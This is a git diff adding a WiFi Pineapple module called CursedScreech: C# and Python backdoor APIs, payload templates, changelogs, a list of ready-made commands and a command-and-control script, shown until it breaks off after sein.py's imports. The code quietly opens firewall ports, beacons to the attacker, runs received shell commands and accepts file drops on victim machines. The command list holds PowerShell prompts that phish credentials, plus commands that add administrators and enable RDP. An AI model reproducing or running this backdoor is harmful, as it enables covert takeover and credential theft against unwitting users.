Add modules to repository
BIN
CursedScreech/includes/api/cs/Documentation.pdf
Executable file
390
CursedScreech/includes/api/cs/PineappleModules.cs
Normal file
@@ -0,0 +1,390 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Reflection;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace PineappleModules
|
||||
{
|
||||
/*
|
||||
*
|
||||
* Class: CursedScreech
|
||||
* Author: sud0nick
|
||||
* Created: March 3, 2016
|
||||
* Updated: September 17, 2016
|
||||
*
|
||||
* A class that sets up a multicast thread to broadcast back
|
||||
* to the Pineapple on which port it is listening, sets up a
|
||||
* server thread for executing remote shell commands secured via
|
||||
* TLS 1.2, and establishes firewall rules to perform said actions
|
||||
* unbeknownst to the target.
|
||||
*
|
||||
*/
|
||||
public class CursedScreech
|
||||
{
|
||||
// ==================================================
|
||||
// CLASS ATTRIBUTES
|
||||
// ==================================================
|
||||
private SslStream sslStream;
|
||||
private string msg = "";
|
||||
private int lport = 0;
|
||||
private static string certSerial = "";
|
||||
private static string certHash = "";
|
||||
private string command = "";
|
||||
private Boolean recvFile = false;
|
||||
private byte[] fileBytes;
|
||||
private int fileBytesLeftToRead = 0;
|
||||
private string fileName = "";
|
||||
private string storeDir = "";
|
||||
private readonly string exePath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
|
||||
private readonly string exeName = Path.GetFileNameWithoutExtension(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
|
||||
|
||||
// ==================================================
|
||||
// CURSED SCREECH INITIALIZER
|
||||
// ==================================================
|
||||
public CursedScreech() {
|
||||
|
||||
// Get the current path and name of the executable to set up rules for it in the firewall
|
||||
string addTCPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=TCP dir=in localport=xxxxx action=allow";
|
||||
string delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + exeName + "\"";
|
||||
|
||||
// Generate a random port on which to listen for commands from Kuro
|
||||
Random rnd = new Random();
|
||||
lport = rnd.Next(10000, 65534);
|
||||
|
||||
// Delete old firewall rules
|
||||
exec(delFirewallRule);
|
||||
|
||||
// Add new firewall rule
|
||||
exec(addTCPRule.Replace("xxxxx", lport.ToString()));
|
||||
}
|
||||
|
||||
// ===========================================================
|
||||
// OPTIONAL METHODS TO SET EXPECTED CERTIFICATE PROPERTIES
|
||||
// ===========================================================
|
||||
public void setRemoteCertificateHash(string hash) {
|
||||
certHash = hash;
|
||||
}
|
||||
|
||||
public void setRemoteCertificateSerial(string serial) {
|
||||
certSerial = serial;
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO START THE MULTICAST THREAD
|
||||
// ==================================================
|
||||
public void startMulticaster(string address, int port, int heartbeatInterval = 5) {
|
||||
string addUDPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=UDP dir=out localport=" + port + " action=allow";
|
||||
exec(addUDPRule);
|
||||
new Thread(() => {
|
||||
|
||||
UdpClient udpclient = new UdpClient(port);
|
||||
IPAddress mcastAddr = IPAddress.Parse(address);
|
||||
udpclient.JoinMulticastGroup(mcastAddr);
|
||||
IPEndPoint kuro = new IPEndPoint(mcastAddr, port);
|
||||
|
||||
while (true) {
|
||||
Byte[] buffer = null;
|
||||
string localIP = localAddress();
|
||||
if (localIP.Length == 0) {
|
||||
localIP = "0.0.0.0";
|
||||
}
|
||||
|
||||
// If a message is available to be sent then do so
|
||||
if (msg.Length > 0) {
|
||||
msg = "msg:" + msg;
|
||||
|
||||
buffer = Encoding.ASCII.GetBytes(msg);
|
||||
udpclient.Send(buffer, buffer.Length, kuro);
|
||||
msg = "";
|
||||
}
|
||||
|
||||
// Send the listening socket information to Kuro
|
||||
buffer = Encoding.ASCII.GetBytes(localIP + ":" + lport.ToString());
|
||||
udpclient.Send(buffer, buffer.Length, kuro);
|
||||
//Console.WriteLine("Sent heartbeat to Kuro");
|
||||
|
||||
// Sleep for however long the heartbeat interval is set
|
||||
Thread.Sleep(heartbeatInterval * 1000);
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
// ====================================================
|
||||
// MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
|
||||
// ====================================================
|
||||
public void startSecureServerThread(string key, string keyPassword) {
|
||||
new Thread(() => startSecureServer(key, keyPassword)).Start();
|
||||
}
|
||||
|
||||
// ====================================================
|
||||
// BLOCKING SECURE SERVER
|
||||
// ====================================================
|
||||
public void startSecureServer(string key, string keyPassword) {
|
||||
|
||||
// Create a socket for the listener
|
||||
IPAddress ipAddress = IPAddress.Parse("0.0.0.0");
|
||||
IPEndPoint localEndPoint = new IPEndPoint(ipAddress, lport);
|
||||
TcpListener listener = new TcpListener(localEndPoint);
|
||||
|
||||
// Read the certificate information from file. This should be a .pfx container
|
||||
// with a private and public key so we can be verified by Kuro
|
||||
X509Certificate2 csKey = loadKeys(key, keyPassword);
|
||||
|
||||
// Tell the thread to operate in the background
|
||||
Thread.CurrentThread.IsBackground = true;
|
||||
|
||||
bool connected = false;
|
||||
TcpClient client = new TcpClient();
|
||||
Int32 numBytesRecvd = 0;
|
||||
try {
|
||||
|
||||
// Start listening
|
||||
listener.Start();
|
||||
|
||||
while (true) {
|
||||
// Begin listening for connections
|
||||
client = listener.AcceptTcpClient();
|
||||
|
||||
try {
|
||||
this.sslStream = new SslStream(client.GetStream(), false, atkCertValidation);
|
||||
this.sslStream.AuthenticateAsServer(csKey, true, (SslProtocols.Tls12 | SslProtocols.Tls11 | SslProtocols.Tls), false);
|
||||
|
||||
connected = true;
|
||||
while (connected) {
|
||||
byte[] cmdRecvd = new Byte[4096];
|
||||
|
||||
numBytesRecvd = this.sslStream.Read(cmdRecvd, 0, cmdRecvd.Length);
|
||||
|
||||
if (numBytesRecvd < 1) {
|
||||
connected = false;
|
||||
client.Close();
|
||||
break;
|
||||
}
|
||||
|
||||
// If a file is being received we don't want to decode the data because we
|
||||
// need to store the raw bytes of the file
|
||||
if (this.recvFile) {
|
||||
|
||||
int numBytesToCopy = cmdRecvd.Length;
|
||||
if (this.fileBytesLeftToRead < cmdRecvd.Length) {
|
||||
numBytesToCopy = this.fileBytesLeftToRead;
|
||||
}
|
||||
|
||||
// Append the received bytes to the fileBytes array
|
||||
System.Buffer.BlockCopy(cmdRecvd, 0, this.fileBytes, (this.fileBytes.Length - this.fileBytesLeftToRead), numBytesToCopy);
|
||||
this.fileBytesLeftToRead -= numBytesRecvd;
|
||||
|
||||
// If we have finished reading the file, store it on the system
|
||||
if (this.fileBytesLeftToRead < 1) {
|
||||
|
||||
// Let the system know we've received the whole file
|
||||
this.recvFile = false;
|
||||
|
||||
// Store the file on the system
|
||||
storeFile(this.storeDir, this.fileName, this.fileBytes);
|
||||
|
||||
// Clear the fileName and fileBytes variables
|
||||
this.fileName = "";
|
||||
this.fileBytes = new Byte[1];
|
||||
}
|
||||
|
||||
} else {
|
||||
// Assign the decrytped message to the command string
|
||||
this.command = Encoding.ASCII.GetString(cmdRecvd, 0, numBytesRecvd);
|
||||
|
||||
Thread shellThread = new Thread(() => sendMsg());
|
||||
shellThread.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception) {
|
||||
connected = false;
|
||||
client.Close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception) { }
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO SEND DATA TO KURO
|
||||
// ==================================================
|
||||
private void sendMsg() {
|
||||
string msg = this.command;
|
||||
this.command = "";
|
||||
|
||||
// Check if we are about to receive a file and prepare
|
||||
// the appropriate variables to receive it
|
||||
// Msg format is sendfile:fileName:byteArraySize
|
||||
if (msg.Contains("sendfile;")) {
|
||||
|
||||
this.recvFile = true;
|
||||
string[] msgParts = msg.Split(';');
|
||||
this.fileName = msgParts[1];
|
||||
this.fileBytesLeftToRead = Int32.Parse(msgParts[2]);
|
||||
this.storeDir = msgParts[3];
|
||||
this.fileBytes = new Byte[this.fileBytesLeftToRead];
|
||||
|
||||
} else {
|
||||
|
||||
// If we are not expecting a file we simply execute
|
||||
// the received command in the shell and return the results
|
||||
string ret = exec(msg);
|
||||
if (ret.Length > 0) {
|
||||
byte[] retMsg = Encoding.ASCII.GetBytes(ret);
|
||||
this.sslStream.Write(retMsg, 0, retMsg.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO GET THE LOCAL IP ADDRESS
|
||||
// ==================================================
|
||||
private string localAddress() {
|
||||
IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
|
||||
foreach (IPAddress ip in host.AddressList) {
|
||||
if (ip.AddressFamily == AddressFamily.InterNetwork) {
|
||||
return ip.ToString();
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO EXECUTE A SHELL COMMAND
|
||||
// ==================================================
|
||||
private static string exec(string args) {
|
||||
System.Diagnostics.Process proc = new System.Diagnostics.Process();
|
||||
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
|
||||
startInfo.CreateNoWindow = true;
|
||||
startInfo.UseShellExecute = false;
|
||||
startInfo.RedirectStandardOutput = true;
|
||||
startInfo.FileName = "cmd.exe";
|
||||
startInfo.Arguments = "/C " + args;
|
||||
proc.StartInfo = startInfo;
|
||||
proc.Start();
|
||||
proc.WaitForExit(2000);
|
||||
return proc.StandardOutput.ReadToEnd();
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO STORE A RECEIVED FILE
|
||||
// ==================================================
|
||||
private void storeFile(string dir, string name, byte[] file) {
|
||||
// If the directory doesn't exist, create it
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
// Write the file out to the directory
|
||||
File.WriteAllBytes(dir + name, file);
|
||||
|
||||
// Tell Kuro the file was stored
|
||||
byte[] retMsg = Encoding.ASCII.GetBytes("Received and stored file " + name + " in directory " + dir);
|
||||
this.sslStream.Write(retMsg, 0, retMsg.Length);
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO LOAD KEYS FROM A PFX
|
||||
// ==================================================
|
||||
private X509Certificate2 loadKeys(string key, string password) {
|
||||
var certStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(key);
|
||||
byte[] bytes = new byte[certStream.Length];
|
||||
certStream.Read(bytes, 0, bytes.Length);
|
||||
return new X509Certificate2(bytes, password);
|
||||
}
|
||||
|
||||
// ==================================================
|
||||
// METHOD TO VERIFY KURO'S CERTIFICATE
|
||||
// ==================================================
|
||||
private static bool atkCertValidation(Object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
|
||||
//Console.WriteLine(BitConverter.ToString(cert.GetSerialNumber()));
|
||||
//Console.WriteLine(cert.GetCertHashString());
|
||||
if (certSerial != "") {
|
||||
if (BitConverter.ToString(cert.GetSerialNumber()) != certSerial) { return false; }
|
||||
}
|
||||
if (certHash != "") {
|
||||
if (cert.GetCertHashString() != certHash) { return false; }
|
||||
}
|
||||
if (sslPolicyErrors == SslPolicyErrors.None) { return true; }
|
||||
if (sslPolicyErrors == SslPolicyErrors.RemoteCertificateChainErrors) { return true; }
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
*
|
||||
* Class: PA_Authorization
|
||||
* Author: sud0nick
|
||||
* Date: July 16, 2016
|
||||
*
|
||||
* A class for interacting with Portal Auth Shell Server
|
||||
* This class simply connects back to the PASS script on
|
||||
* the Pineapple, supplies some system info, and retrieves
|
||||
* an access key for the victim to log on to the portal.
|
||||
*
|
||||
*/
|
||||
|
||||
public class PA_Authorization {
|
||||
private string rHost;
|
||||
private int rPort;
|
||||
private string accessKey = "";
|
||||
|
||||
public PA_Authorization(string remoteHost = "172.16.42.1", int remotePort = 4443) {
|
||||
rHost = remoteHost;
|
||||
rPort = remotePort;
|
||||
}
|
||||
|
||||
public string getAccessKey() {
|
||||
// Establish a new socket to connect back to the Pineapple
|
||||
TcpClient c_bk = new TcpClient();
|
||||
|
||||
try {
|
||||
c_bk.Connect(rHost, rPort);
|
||||
}
|
||||
catch {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
NetworkStream pa_stream = c_bk.GetStream();
|
||||
|
||||
// Send system information to PortalAuth
|
||||
string systemInfo = "0;" + System.Environment.MachineName + ";" + System.Environment.OSVersion;
|
||||
byte[] sysinfo = Encoding.ASCII.GetBytes(systemInfo);
|
||||
pa_stream.Write(sysinfo, 0, sysinfo.Length);
|
||||
|
||||
// Get the access key back from PortalAuth
|
||||
byte[] msgRecvd = new Byte[1024];
|
||||
Int32 bytesRecvd = 0;
|
||||
bytesRecvd = pa_stream.Read(msgRecvd, 0, msgRecvd.Length);
|
||||
|
||||
if (bytesRecvd < 1) {
|
||||
c_bk.Close();
|
||||
return "";
|
||||
}
|
||||
else {
|
||||
accessKey = Encoding.ASCII.GetString(msgRecvd, 0, bytesRecvd);
|
||||
}
|
||||
|
||||
// Close the connection
|
||||
c_bk.Close();
|
||||
|
||||
// Return accessKey with either an error message or the key that was received
|
||||
return accessKey;
|
||||
}
|
||||
}
|
||||
}
|
||||
24
CursedScreech/includes/api/cs/template/payload.cs
Executable file
@@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using CursedScreech;
|
||||
|
||||
namespace Payload
|
||||
{
|
||||
public partial class Form1 : Form {
|
||||
|
||||
public Form1() {
|
||||
InitializeComponent();
|
||||
|
||||
CursedScreech.CursedScreech cs = new CursedScreech.CursedScreech();
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval);
|
||||
cs.setRemoteCertificateSerial("serial");
|
||||
cs.setRemoteCertificateHash("fingerprint");
|
||||
cs.startSecureServerThread("privateKey", "password");
|
||||
}
|
||||
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
||||
e.Cancel = true;
|
||||
this.Hide();
|
||||
}
|
||||
}
|
||||
}
|
||||
44
CursedScreech/includes/api/cs/template/payloadAuth.cs
Executable file
@@ -0,0 +1,44 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using PineappleModules;
|
||||
|
||||
namespace Payload
|
||||
{
|
||||
public partial class Form1 : Form {
|
||||
|
||||
PA_Authorization pauth = new PA_Authorization();
|
||||
|
||||
public Form1() {
|
||||
InitializeComponent();
|
||||
|
||||
CursedScreech cs = new CursedScreech();
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval);
|
||||
cs.setRemoteCertificateSerial("serial");
|
||||
cs.setRemoteCertificateHash("fingerprint");
|
||||
cs.startSecureServerThread("privateKey", "password");
|
||||
}
|
||||
private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
|
||||
e.Cancel = true;
|
||||
this.Hide();
|
||||
}
|
||||
|
||||
private void accessKeyButton_Click(object sender, EventArgs e) {
|
||||
|
||||
// Request an access key from the Pineapple
|
||||
string key = pauth.getAccessKey();
|
||||
|
||||
// Check if a key was returned
|
||||
string msg;
|
||||
if (key.Length > 0) {
|
||||
msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
|
||||
}
|
||||
else {
|
||||
msg = "Failed to retrieve an access key from the server. Please try again later.";
|
||||
}
|
||||
|
||||
// Display message to the user
|
||||
MessageBox.Show(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
CursedScreech/includes/api/python/Documentation.pdf
Executable file
152
CursedScreech/includes/api/python/PineappleModules.py
Executable file
@@ -0,0 +1,152 @@
|
||||
import time
|
||||
import subprocess
|
||||
from random import randint
|
||||
import platform
|
||||
import threading
|
||||
import sys
|
||||
from ssl import *
|
||||
from socket import *
|
||||
|
||||
class CursedScreech:
|
||||
|
||||
def __init__(self, progName):
|
||||
self.ProgName = progName
|
||||
self.msg = ""
|
||||
self.lport = 0
|
||||
self.certSerial = ""
|
||||
self.threads = []
|
||||
|
||||
|
||||
# ==================================================
|
||||
# METHOD TO START THE MULTICAST THREAD
|
||||
# ==================================================
|
||||
def startMulticaster(self, addr, port, heartbeatInterval = 5):
|
||||
# Set up a heartbeat thread
|
||||
hbt = threading.Thread(target=self.sendHeartbeat, args=(addr,port,heartbeatInterval))
|
||||
self.threads.append(hbt)
|
||||
hbt.start()
|
||||
|
||||
|
||||
# ====================================================
|
||||
# MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
|
||||
# ====================================================
|
||||
def startSecureServerThread(self, keyFile, certFile, remoteCert):
|
||||
sst = threading.Thread(target=self.startSecureServer, args=(keyFile,certFile,remoteCert))
|
||||
self.threads.append(sst)
|
||||
sst.start()
|
||||
|
||||
# ========================================================
|
||||
# METHOD TO SET THE EXPECTED CERTIFICATE SERIAL NUMBER
|
||||
# ========================================================
|
||||
def setRemoteCertificateSerial(self, serial):
|
||||
self.certSerial = serial
|
||||
|
||||
|
||||
# ======================================
|
||||
# HEARTBEAT THREAD
|
||||
# ======================================
|
||||
def sendHeartbeat(self, MCAST_GROUP, MCAST_PORT, hbInterval):
|
||||
|
||||
# Add a firewall rule in Windows to allow outbound UDP packets
|
||||
addUDPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=UDP dir=out localport=" + str(MCAST_PORT) + " action=allow";
|
||||
subprocess.call(addUDPRule, shell=True, stdout=subprocess.PIPE)
|
||||
|
||||
# Set up a UDP socket for multicast
|
||||
sck = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
|
||||
sck.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL, 2)
|
||||
|
||||
# Infinitely loop and send a broadcast to MCAST_GROUP with our
|
||||
# listener's IP and port information.
|
||||
while True:
|
||||
ip = gethostbyname(gethostname())
|
||||
if len(self.msg) > 0:
|
||||
sck.sendto("msg:" + self.msg, (MCAST_GROUP, MCAST_PORT))
|
||||
|
||||
# Clear out the message
|
||||
self.msg=""
|
||||
|
||||
sck.sendto(ip + ":" + str(self.lport), (MCAST_GROUP, MCAST_PORT))
|
||||
time.sleep(hbInterval)
|
||||
|
||||
|
||||
# ===================================================
|
||||
# BLOCKING SECURE LISTENER WITH SHELL EXECUTION
|
||||
# ===================================================
|
||||
def startSecureServer(self, keyFile, certFile, remoteCert):
|
||||
|
||||
# Create a listener for the secure shell
|
||||
ssock = socket(AF_INET, SOCK_STREAM)
|
||||
ssock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
|
||||
listener = wrap_socket(ssock, ssl_version=PROTOCOL_SSLv23, keyfile=keyFile, certfile=certFile, cert_reqs=CERT_REQUIRED, ca_certs=remoteCert)
|
||||
|
||||
# Pick a random port number on which to listen and attempt to bind to it
|
||||
# If it is already in use simply continue the process until an available
|
||||
# port is found.
|
||||
bound = False
|
||||
while bound == False:
|
||||
self.lport = randint(30000, 65534)
|
||||
try:
|
||||
listener.bind((gethostname(), self.lport))
|
||||
bound = True
|
||||
except:
|
||||
bound = False
|
||||
continue
|
||||
|
||||
# Set up rules in the firewall to allow connections from this program
|
||||
addTCPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=TCP dir=in localport=xxxxx action=allow";
|
||||
delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + self.ProgName + "\"";
|
||||
|
||||
try:
|
||||
# Delete old firewall rules if they exist
|
||||
subprocess.call(delFirewallRule, shell=True, stdout=subprocess.PIPE)
|
||||
|
||||
# Add a firewall rule to Windows Firewall that allows inbound connections on the port
|
||||
addTCPRule = addTCPRule.replace('xxxxx', str(self.lport))
|
||||
subprocess.call(addTCPRule, shell=True, stdout=subprocess.PIPE)
|
||||
except:
|
||||
pass
|
||||
|
||||
listener.listen(5)
|
||||
connected = False
|
||||
|
||||
# Begin accepting connections and pass all commands to execShell in a separate thread
|
||||
while 1:
|
||||
if not connected:
|
||||
(client, address) = listener.accept()
|
||||
connected = True
|
||||
|
||||
# Verify the client's certificate. If the serial number doesn't match
|
||||
# kill the connection and wait for a new one.
|
||||
if len(self.certSerial) > 0:
|
||||
cert = client.getpeercert()
|
||||
if not cert['serialNumber'] == self.certSerial:
|
||||
connected = False
|
||||
self.msg = "[!] Unauthorized access attempt on target " + gethostbyname(gethostname()) + ":" + str(self.lport)
|
||||
continue
|
||||
while 1:
|
||||
try:
|
||||
cmd = client.recv(4096)
|
||||
|
||||
if not len(cmd):
|
||||
connected = False
|
||||
break
|
||||
|
||||
shellThread = threading.Thread(target=self.execShellCmd, args=(client,cmd))
|
||||
self.threads.append(shellThread)
|
||||
shellThread.start()
|
||||
except:
|
||||
connected = False
|
||||
break
|
||||
|
||||
listener.close()
|
||||
|
||||
|
||||
# ======================================
|
||||
# EXECUTE A CMD IN SHELL
|
||||
# ======================================
|
||||
def execShellCmd(self, sock, cmd):
|
||||
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
stdout_value = proc.stdout.read() + proc.stderr.read()
|
||||
sock.sendall(stdout_value)
|
||||
|
||||
|
||||
6
CursedScreech/includes/api/python/template/payload.py
Executable file
@@ -0,0 +1,6 @@
|
||||
from PineappleModules import CursedScreech
|
||||
|
||||
cs = CursedScreech("Network Client")
|
||||
cs.startMulticaster("IPAddress", mcastport, hbinterval)
|
||||
cs.setRemoteCertificateSerial("serial")
|
||||
cs.startSecureServerThread("privateKey", "publicKey", "kuroKey")
|
||||
1
CursedScreech/includes/changelog/Version 1.0
Executable file
@@ -0,0 +1 @@
|
||||
March 03, 2016 - Module released.
|
||||
6
CursedScreech/includes/changelog/Version 1.1
Executable file
@@ -0,0 +1,6 @@
|
||||
July 30, 2016
|
||||
<br /><br />
|
||||
- Updated API to include a class which hooks into PortalAuth's Payloader injection set to force authorization. This ensures the target executes the payload in order to get access to the network.
|
||||
<br /><br />
|
||||
- Added a checkbox under settings to automatically include authorization code in the payload source.<br /><br />
|
||||
- Added the ability to select the interface on which sein will listen. This fixes the bug where targets would not appear on the Pineapple network.
|
||||
9
CursedScreech/includes/changelog/Version 1.2
Executable file
@@ -0,0 +1,9 @@
|
||||
September 17, 2016
|
||||
<br /><br />
|
||||
- Updated C# API to support receiving and storing of files on target machines<br />
|
||||
- Updated UI<br />
|
||||
- Added file upload option to import payloads<br />
|
||||
- Added 'Send File' EZ Cmd to send payloads to target machines<br />
|
||||
- Made the module less of a resource hog when Sein and Kuro aren't running<br />
|
||||
- Fixed bug where certificate store would not properly identify a key as encrypted<br />
|
||||
- Added feature so encrypted keys can not be selected for Kuro in the certificate store
|
||||
0
CursedScreech/includes/forest/activity.log
Executable file
0
CursedScreech/includes/forest/cmd.log
Executable file
15
CursedScreech/includes/forest/ezcmds
Executable file
@@ -0,0 +1,15 @@
|
||||
Send File:C:\Temp\
|
||||
Get PS Version:powershell "$PSVersionTable"
|
||||
Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL"
|
||||
Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
|
||||
Windows PSv2- Phish:powershell "Get-Credential | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"
|
||||
Windows Alert:powershell "[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Message', 'Title')"
|
||||
Logoff User:shutdown /l
|
||||
Restart:powershell "Restart-Computer"
|
||||
Shutdown:powershell "Stop-Computer"
|
||||
Add User:net user <USER> <PASSWORD> /ADD
|
||||
Change User Password:net user <USER> <PASSWORD>
|
||||
Delete User:net user <USER> /DELETE
|
||||
Enable RDP:powershell "$key='HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server'; if (!(Test-Path $key)) { New-Item -Path $key -Force | Out-Null }; New-ItemProperty -Path $key -Name 'fDenyTSConnections' -PropertyType 'DWORD' -Value 0 -Force | Out-Null; netsh advfirewall firewall set rule group='remote desktop' new enable=yes"
|
||||
Add User to Remote Desktop Users Group:net localgroup "Remote Desktop Users" /ADD "<user>"
|
||||
Add User to Administrators Group:net localgroup "Administrators" /ADD "<user>"
|
||||
162
CursedScreech/includes/forest/kuro.py
Executable file
@@ -0,0 +1,162 @@
|
||||
# Kuro looms up ahead, won't allow us to pass.
|
||||
# Let us not travel further, lest we unleash her wrath.
|
||||
# Her screech can be heard from atop her perch,
|
||||
# commanding those fallen under her curse.
|
||||
|
||||
import select
|
||||
import sys
|
||||
import threading
|
||||
from target import Target
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
target_list = ""
|
||||
activity_log = ""
|
||||
cmd_list = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "target_list":
|
||||
target_list = params[1]
|
||||
elif params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "cmd_list":
|
||||
cmd_list = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def connectTarget(ip, port):
|
||||
target = Target(ip, int(port))
|
||||
target.secureConnect()
|
||||
if target.isConnected():
|
||||
return target
|
||||
else:
|
||||
return False
|
||||
|
||||
# A list for target objects and threads on which to receive data
|
||||
targets = []
|
||||
threads = []
|
||||
killThreads = False
|
||||
|
||||
def recvOnTarget(t):
|
||||
global killThreads
|
||||
while True:
|
||||
if killThreads == True:
|
||||
break
|
||||
|
||||
try:
|
||||
ready = select.select([t.socket], [], [], 5)
|
||||
if ready[0]:
|
||||
t.recv()
|
||||
except:
|
||||
break
|
||||
|
||||
# Function to disconnect all targets and quit
|
||||
def cleanUp(targets):
|
||||
# Close all sockets
|
||||
print "[>] Cleaning up sockets"
|
||||
logActivity("[>] Cleaning up sockets")
|
||||
|
||||
# Attempt to kill the thread
|
||||
global killThreads
|
||||
killThreads = True
|
||||
|
||||
for target in targets:
|
||||
target.disconnect()
|
||||
|
||||
# Attempt to connect to all targets and store them in the targets list
|
||||
with open(target_list, "r") as targetFile:
|
||||
for t in targetFile:
|
||||
|
||||
# Strip newline characters from the line
|
||||
t = t.strip("\n")
|
||||
|
||||
try:
|
||||
ip = t.split(":")[0]
|
||||
port = t.split(":")[1]
|
||||
|
||||
# Connect to the target and append the socket to our list
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print "Interrupt detected. Moving to next target..."
|
||||
continue;
|
||||
|
||||
quitFlag = False
|
||||
if len(targets) > 0:
|
||||
try:
|
||||
logActivity("[!] Kuro is ready")
|
||||
while True:
|
||||
|
||||
# Read from the target list to see if any new targets are
|
||||
# available. If so, attempt to connect to them.
|
||||
with open(target_list, "r") as targetFile:
|
||||
for line in targetFile:
|
||||
skip = False
|
||||
line = line.strip("\n")
|
||||
ip = line.split(":")[0]
|
||||
port = line.split(":")[1]
|
||||
|
||||
# If the address is found in the target list, check if
|
||||
# the port is the same
|
||||
if any(t.addr == ip for t in targets):
|
||||
for t in targets:
|
||||
# If the ip address matches but the port does not
|
||||
# disconnect the target and remove it from the list
|
||||
if t.addr == ip and t.port != int(port):
|
||||
t.disconnect()
|
||||
targets.remove(t)
|
||||
|
||||
# Recreate the target object, connect to it, and
|
||||
# add it back to the list
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
else:
|
||||
newTarget = connectTarget(ip, port)
|
||||
if newTarget != False:
|
||||
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
targets.append(newTarget)
|
||||
|
||||
# Read from cmd.log, send to targets listed, and clear
|
||||
# the file for next use.
|
||||
with open(cmd_list, "r") as cmdFile:
|
||||
for line in cmdFile:
|
||||
params = line.strip("\n").rsplit(":", 1)
|
||||
cmd = params[0]
|
||||
addr = params[1]
|
||||
|
||||
# Check if Kuro received a command to end her own process
|
||||
if cmd == "killyour" and addr == "self":
|
||||
quitFlag = True
|
||||
else:
|
||||
for t in targets:
|
||||
if t.addr == addr and t.isConnected:
|
||||
t.send(cmd)
|
||||
|
||||
# Clear the file
|
||||
open(cmd_list, "w").close()
|
||||
|
||||
# Check if it's time to quit
|
||||
if quitFlag:
|
||||
break
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
cleanUp(targets)
|
||||
122
CursedScreech/includes/forest/sein.py
Executable file
@@ -0,0 +1,122 @@
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
from target import Target
|
||||
import threading
|
||||
import time
|
||||
|
||||
